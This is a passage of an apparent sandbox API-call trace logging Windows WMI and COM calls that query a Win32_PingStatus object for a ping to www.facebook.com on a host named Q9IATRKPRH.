[2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x572e6c0 | out: ppv=0x572e6c0*=0x5c68678) returned 0x0 [0127.369] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68678, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e8d8 | out: ppvObject=0x572e8d8*=0x0) returned 0x80004002 [0127.369] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x5c68678, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e8e4 | out: ppvObject=0x572e8e4*=0x5c68688) returned 0x0 [0127.369] WbemStatusCodeText:IUnknown:Release (This=0x5c68678) returned 0x0 [0127.369] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68688, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e504 | out: ppvObject=0x572e504*=0x5c68688) returned 0x0 [0127.369] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68688, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e4b8 | out: ppvObject=0x572e4b8*=0x0) returned 0x80004002 [0127.370] WbemStatusCodeText:IUnknown:AddRef (This=0x5c68688) returned 0x3 [0127.370] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68688, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572de14 | out: ppvObject=0x572de14*=0x0) returned 0x80004002 [0127.370] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68688, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572ddc4 | out: ppvObject=0x572ddc4*=0x0) returned 0x80004002 [0127.370] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68688, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572ddd0 | out: ppvObject=0x572ddd0*=0x0) returned 0x80004002 [0127.370] CoGetContextToken (in: pToken=0x572de30 | out: pToken=0x572de30) returned 0x0 [0127.370] CoGetContextToken (in: pToken=0x572e244 | out: pToken=0x572e244) returned 0x0 [0127.370] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68688, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e2c4 | out: ppvObject=0x572e2c4*=0x0) returned 0x80004002 [0127.370] WbemStatusCodeText:IUnknown:Release (This=0x5c68688) returned 0x2 [0127.370] WbemStatusCodeText:IUnknown:Release (This=0x5c68688) returned 0x1 [0127.370] CoGetContextToken (in: pToken=0x572e8bc | out: pToken=0x572e8bc) returned 0x0 [0127.370] CoGetContextToken (in: pToken=0x572e81c | out: pToken=0x572e81c) returned 0x0 [0127.370] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x5c68688, riid=0x572e8ec*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x572e8e8 | out: ppvObject=0x572e8e8*=0x5c68688) returned 0x0 [0127.370] WbemStatusCodeText:IUnknown:AddRef (This=0x5c68688) returned 0x3 [0127.370] WbemStatusCodeText:IUnknown:Release (This=0x5c68688) returned 0x2 [0127.371] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x5c68688, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x572ea50 | out: MessageText=0x572ea50*="Not found ") returned 0x0 [0127.451] SysStringByteLen (bstr="Not found ") returned 0x14 [0127.485] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0127.485] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0127.485] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.485] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0127.485] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0127.485] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.486] IWbemClassObject:GetNames (in: This=0x5c58ef0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e908*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e8fc | out: pNames=0x572e8fc*="\x01ƀ\x04") returned 0x0 [0127.486] SafeArrayGetDim (psa=0x5c5ddd0) returned 0x1 [0127.486] SafeArrayGetDim (psa=0x5c5ddd0) returned 0x1 [0127.486] SafeArrayGetLBound (in: psa=0x5c5ddd0, nDim=0x1, plLbound=0x572e794 | out: plLbound=0x572e794) returned 0x0 [0127.486] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.486] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.486] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.486] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.486] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.486] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.486] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.486] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.486] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.486] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.486] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.486] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.486] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.486] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.486] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.486] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.487] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.487] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.487] SysStringByteLen (bstr="__PATH") returned 0xc [0127.487] SysStringByteLen (bstr="__PATH") returned 0xc [0127.487] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__GENUS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b52ac*=0, plFlavor=0x21b52b0*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x21b52ac*=3, plFlavor=0x21b52b0*=64) returned 0x0 [0127.487] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b52e0*=0, plFlavor=0x21b52e4*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x21b52e0*=8, plFlavor=0x21b52e4*=64) returned 0x0 [0127.487] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.534] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.534] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b5338*=0, plFlavor=0x21b533c*=0 | out: pVal=0x572e8f8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b5338*=8, plFlavor=0x21b533c*=64) returned 0x0 [0127.535] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DYNASTY", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b5360*=0, plFlavor=0x21b5364*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x21b5360*=8, plFlavor=0x21b5364*=64) returned 0x0 [0127.535] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.535] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.535] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__RELPATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b53b8*=0, plFlavor=0x21b53bc*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x21b53b8*=8, plFlavor=0x21b53bc*=64) returned 0x0 [0127.535] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0127.535] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0127.535] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b5598*=0, plFlavor=0x21b559c*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x21b5598*=3, plFlavor=0x21b559c*=64) returned 0x0 [0127.535] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DERIVATION", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b55cc*=0, plFlavor=0x21b55d0*=0 | out: pVal=0x572e8f8*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c5de00*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c68678, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x21b55cc*=8200, plFlavor=0x21b55d0*=64) returned 0x0 [0127.536] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SERVER", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b5600*=0, plFlavor=0x21b5604*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x21b5600*=8, plFlavor=0x21b5604*=64) returned 0x0 [0127.536] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.536] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.536] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0127.536] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0127.536] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.536] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e934 | out: puCount=0x572e934*=0x2) returned 0x0 [0127.536] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0x0, pszText=0x0 | out: puBuffLength=0x572e930*=0xf, pszText=0x0) returned 0x0 [0127.536] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e930*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e930*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.536] IWbemClassObject:GetNames (in: This=0x5c58ef0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e93c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e930 | out: pNames=0x572e930*="\x01ƀ\x04") returned 0x0 [0127.536] SafeArrayGetDim (psa=0x5c5dd40) returned 0x1 [0127.536] SafeArrayGetDim (psa=0x5c5dd40) returned 0x1 [0127.537] SafeArrayGetLBound (in: psa=0x5c5dd40, nDim=0x1, plLbound=0x572e7c8 | out: plLbound=0x572e7c8) returned 0x0 [0127.537] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.537] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.537] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.537] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.537] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.537] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.537] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.537] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.537] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.537] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.537] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.537] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.537] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.537] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.537] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.537] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.537] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.537] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.538] SysStringByteLen (bstr="__PATH") returned 0xc [0127.538] SysStringByteLen (bstr="__PATH") returned 0xc [0127.538] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__GENUS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b59cc*=0, plFlavor=0x21b59d0*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x21b59cc*=3, plFlavor=0x21b59d0*=64) returned 0x0 [0127.538] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b5a00*=0, plFlavor=0x21b5a04*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x21b5a00*=8, plFlavor=0x21b5a04*=64) returned 0x0 [0127.538] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.538] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.538] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b5a58*=0, plFlavor=0x21b5a5c*=0 | out: pVal=0x572e92c*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b5a58*=8, plFlavor=0x21b5a5c*=64) returned 0x0 [0127.538] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DYNASTY", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b5a80*=0, plFlavor=0x21b5a84*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x21b5a80*=8, plFlavor=0x21b5a84*=64) returned 0x0 [0127.538] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.538] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.539] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__RELPATH", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b5ad8*=0, plFlavor=0x21b5adc*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x21b5ad8*=8, plFlavor=0x21b5adc*=64) returned 0x0 [0127.539] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0127.539] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0127.539] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b5cb8*=0, plFlavor=0x21b5cbc*=0 | out: pVal=0x572e92c*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x21b5cb8*=3, plFlavor=0x21b5cbc*=64) returned 0x0 [0127.539] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DERIVATION", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b5cec*=0, plFlavor=0x21b5cf0*=0 | out: pVal=0x572e92c*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c5dce0*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c68678, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x21b5cec*=8200, plFlavor=0x21b5cf0*=64) returned 0x0 [0127.539] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SERVER", lFlags=0, pVal=0x572e92c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b5d20*=0, plFlavor=0x21b5d24*=0 | out: pVal=0x572e92c*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x21b5d20*=8, plFlavor=0x21b5d24*=64) returned 0x0 [0127.540] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.540] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.540] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SERVER", lFlags=0, pVal=0x572ea20*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b5d20*=8, plFlavor=0x21b5d24*=64 | out: pVal=0x572ea20*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x21b5d20*=8, plFlavor=0x21b5d24*=64) returned 0x0 [0127.540] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.540] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0127.541] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0127.541] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0127.541] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.541] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e900 | out: puCount=0x572e900*=0x2) returned 0x0 [0127.541] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0x0, pszText=0x0 | out: puBuffLength=0x572e8fc*=0xf, pszText=0x0) returned 0x0 [0127.541] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e8fc*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e8fc*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0127.542] IWbemClassObject:GetNames (in: This=0x5c58ef0, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x572e908*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e8fc | out: pNames=0x572e8fc*="\x01ƀ\x04") returned 0x0 [0127.542] SafeArrayGetDim (psa=0x5c5de00) returned 0x1 [0127.542] SafeArrayGetDim (psa=0x5c5de00) returned 0x1 [0127.542] SafeArrayGetLBound (in: psa=0x5c5de00, nDim=0x1, plLbound=0x572e794 | out: plLbound=0x572e794) returned 0x0 [0127.542] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.542] SysStringByteLen (bstr="__GENUS") returned 0xe [0127.542] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.542] SysStringByteLen (bstr="__CLASS") returned 0xe [0127.542] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.542] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0127.542] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.542] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0127.542] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.542] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0127.542] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.542] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0127.542] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.542] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0127.542] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.542] SysStringByteLen (bstr="__SERVER") returned 0x10 [0127.542] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.543] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0127.543] SysStringByteLen (bstr="__PATH") returned 0xc [0127.543] SysStringByteLen (bstr="__PATH") returned 0xc [0127.543] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__GENUS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b63bc*=0, plFlavor=0x21b63c0*=0 | out: pVal=0x572e8f8*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x21b63bc*=3, plFlavor=0x21b63c0*=64) returned 0x0 [0127.543] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__CLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b63f0*=0, plFlavor=0x21b63f4*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x21b63f0*=8, plFlavor=0x21b63f4*=64) returned 0x0 [0127.543] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.543] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.543] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__SUPERCLASS", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b6448*=0, plFlavor=0x21b644c*=0 | out: pVal=0x572e8f8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b6448*=8, plFlavor=0x21b644c*=64) returned 0x0 [0127.543] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__DYNASTY", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b6470*=0, plFlavor=0x21b6474*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x21b6470*=8, plFlavor=0x21b6474*=64) returned 0x0 [0127.544] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.544] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0127.544] IWbemClassObject:Get (in: This=0x5c58ef0, wszName="__RELPATH", lFlags=0, pVal=0x572e8f8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x21b64c8*=0, plFlavor=0x21b64cc*=0 | out: pVal=0x572e8f8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x21b64c8*=8, plFlavor=0x21b64cc*=64) returned 0x0 [0127.544] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0127.544] SysStringByteLen 